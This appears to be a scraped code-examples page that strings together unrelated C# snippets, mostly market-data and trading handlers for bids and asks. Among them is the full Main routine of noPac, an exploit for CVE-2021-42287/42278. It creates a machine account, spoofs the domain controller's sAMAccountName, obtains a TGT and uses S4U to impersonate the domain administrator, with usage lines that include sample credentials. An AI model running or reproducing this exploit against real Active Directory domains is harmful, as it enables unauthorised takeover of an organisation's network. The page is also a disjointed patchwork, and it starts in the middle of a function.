                            symObj.Bid  = bid;
                            break;
                        }
                    }
                    marketObj.WriteMarket();
                }
                else if (huobiJson.Contains("ping"))
                {
                    HuobiJson.Ping huobiData = JsonSerializer.Deserialize <HuobiJson.Ping>(huobiJson);
                    long pingId            = huobiData.PingId;
                    HuobiJson.Pong pongReq = new HuobiJson.Pong()
                    {
                        PongId = pingId
                    };
                    string pongJson = JsonSerializer.Serialize <HuobiJson.Pong>(pongReq);
                    Task.Run(() => huobiClient.Send($"{pongJson}"));
                    //Console.WriteLine($"Huobi {symObj.Symbol} Pong");
                }
            });
            return(huobiClient);
        }
Example #34
0
        static void Main(string[] args)
        {
            string argDomainUser         = "";
            string argDomainUserPassword = "";

            string argContainer         = "COMPUTERS";
            string argDistinguishedName = "";
            string argDomain            = "";
            string argDomainController  = "";
            string argTargetSPN         = "";
            string argService           = "LDAP";
            string argImpersonate       = "administrator";
            bool   argPTT = false;

            //machine account
            string argMachineAccount  = "";
            string argMachinePassword = "";

            bool argRandom  = false;
            bool argVerbose = true;

            Rubeus.lib.Interop.LUID luid = new Rubeus.lib.Interop.LUID();

            if (args == null || !args.Any())
            {
                Console.WriteLine();
                Console.WriteLine("CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter");
                Console.WriteLine("By @Cube0x0");
                Console.WriteLine();
                Console.WriteLine("/domain /user /pass argument needed for scanning");
                Console.WriteLine("/dc /mAccount /nPassword argument needed for exploitation");
                Console.WriteLine();
                Console.WriteLine("Examples:");
                Console.WriteLine("  noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'");
                Console.WriteLine("  noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!");
                Console.WriteLine("  noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!");
                Console.WriteLine("  noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt");
                return;
            }

            foreach (var entry in args.Select((value, index) => new { index, value }))
            {
                string argument = entry.value.ToUpper();

                switch (argument)
                {
                case "-DOMAIN":
                case "/DOMAIN":
                    argDomain = args[entry.index + 1];
                    break;

                case "-USER":
                case "/USER":
                    argDomainUser = args[entry.index + 1];
                    break;

                case "-PASS":
                case "/PASS":
                    argDomainUserPassword = args[entry.index + 1];
                    break;

                case "-DC":
                case "/DC":
                    argDomainController = args[entry.index + 1];
                    break;

                case "-MACCOUNT":
                case "/MACCOUNT":
                    argMachineAccount = args[entry.index + 1];
                    break;

                case "-MPASSWORD":
                case "/MPASSWORD":
                    argMachinePassword = args[entry.index + 1];
                    break;

                case "-SERVICE":
                case "/SERVICE":
                    argService = args[entry.index + 1];
                    break;

                case "-IMPERSONATE":
                case "/IMPERSONATE":
                    argImpersonate = args[entry.index + 1];
                    break;

                case "-PTT":
                case "/PTT":
                    argPTT = true;
                    break;
                }
            }
            NetworkCredential credential = new NetworkCredential(argDomainUser, argDomainUserPassword, argDomain);
            string            machineAccountPasswordHash = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argMachinePassword);
            string            domainUserPasswordHash     = Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, argDomainUserPassword);

            if (args.Length >= 1)
            {
                if (args[0] == "scan")
                {
                    if (string.IsNullOrEmpty(argDomain) || string.IsNullOrEmpty(argDomainUser) || string.IsNullOrEmpty(argDomainUserPassword))
                    {
                        Console.WriteLine("[-] /domain /user /pass argument needed for scanning");
                        return;
                    }
                    scan(argDomain, argDomainUser, argDomainUserPassword, domainUserPasswordHash, argDomainController);
                    return;
                }
                if (string.IsNullOrEmpty(argDomainController) || string.IsNullOrEmpty(argMachineAccount) || string.IsNullOrEmpty(argMachinePassword))
                {
                    Console.WriteLine("[-] /dc /mAccount /mPassword argument needed for exploitation");
                    return;
                }

                argTargetSPN = $"{argService}/{argDomainController}";
                if (String.IsNullOrEmpty(argDomain))
                {
                    argDomain = String.Join(".", argDomainController.Split('.').Skip(1).ToArray());
                }
            }

            //new machine account
            try
            {
                NewMachineAccount(argContainer, argDistinguishedName, argDomain, argDomainController, argMachineAccount, argMachinePassword, argVerbose, argRandom, credential);
            } catch (DirectoryOperationException e)
            {
                //so we can rerun the tool using the same machine account or reuse machine account
                if (!e.Message.Contains("The object exists"))
                {
                    Console.WriteLine("[-] Failed to create machine account");
                    return;
                }
            }

            //clean spn
            SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "serviceprincipalname", argMachineAccount, "", false, true, argVerbose, credential);

            //set samaccountname
            SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argDomainController.Split('.')[0], false, false, argVerbose, credential);

            //ask tgt
            byte[] ticket = Ask.TGT(argDomainController.Split('.')[0], argDomain, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, "", false, argDomainController, luid, false, false, "", false, true);
            if (ticket.Length > 0)
            {
                Console.WriteLine("[+] Got TGT for {0}", argDomainController);
                //Console.WriteLine(Convert.ToBase64String(ticket));
            }
            else
            {
                Console.WriteLine("[-] Could not get TGT for {0}", argDomainController);
                return;
            }

            //undo samaccountname change
            SetMachineAccountAttribute(argContainer, argDistinguishedName, argDomain, argDomainController, "samaccountname", argMachineAccount, argMachineAccount, false, false, argVerbose, credential);

            //s4u
            KRB_CRED kirbi = new KRB_CRED(ticket);

            S4U.Execute(kirbi, argImpersonate, "", "", argPTT, argDomainController, argTargetSPN, null, "", "", true, false, false, machineAccountPasswordHash, Interop.KERB_ETYPE.rc4_hmac, argDomain, "");
        }
 public void Handle(Ask ask, Bid bid)
 {
     Handle(new TradeRequest(ask, bid));
 }
Example #36
0
 internal void method_8(Ask ask_0)
 {
     if (this.strategy__0 != null && this.Status == StrategyStatus.Running)
     {
         List<Strategy> list;
         if (this.Mode == StrategyMode.Backtest)
         {
             list = this.idArray_2[ask_0.instrumentId];
         }
         else
         {
             list = this.idArray_3[ask_0.instrumentId][(int)ask_0.providerId];
         }
         for (int i = 0; i < list.Count; i++)
         {
             list[i].vmethod_11(ask_0);
         }
     }
 }
Example #37
0
 public void Update(MarketPriceEventArgs eventArgs)
 {
     Bid.Update(eventArgs.MarketPrice.BidPrice);
     Ask.Update(eventArgs.MarketPrice.AskPrice);
 }
Example #38
0
 internal void method_7(Ask ask_0)
 {
     if (this.traceOnQuote && this.side == PositionSide.Short)
     {
         this.currPrice = this.GetPrice(ask_0.price);
         this.fillPrice = this.currPrice;
         this.trailPrice = this.currPrice;
         this.method_1();
     }
 }
 private void ExitApplication(Ask ask)
 {
     if (ask == Ask.DoAsk)
     {
         if (MessageBox.Show("Do you really want to quit?", "Well...", MessageBoxButton.YesNoCancel, MessageBoxImage.Question, MessageBoxResult.Cancel) == MessageBoxResult.Yes)
         {
             ExitApplication(Ask.DoNotAsk);
         }
     }
     else
     {
         this.Close();
     }
 }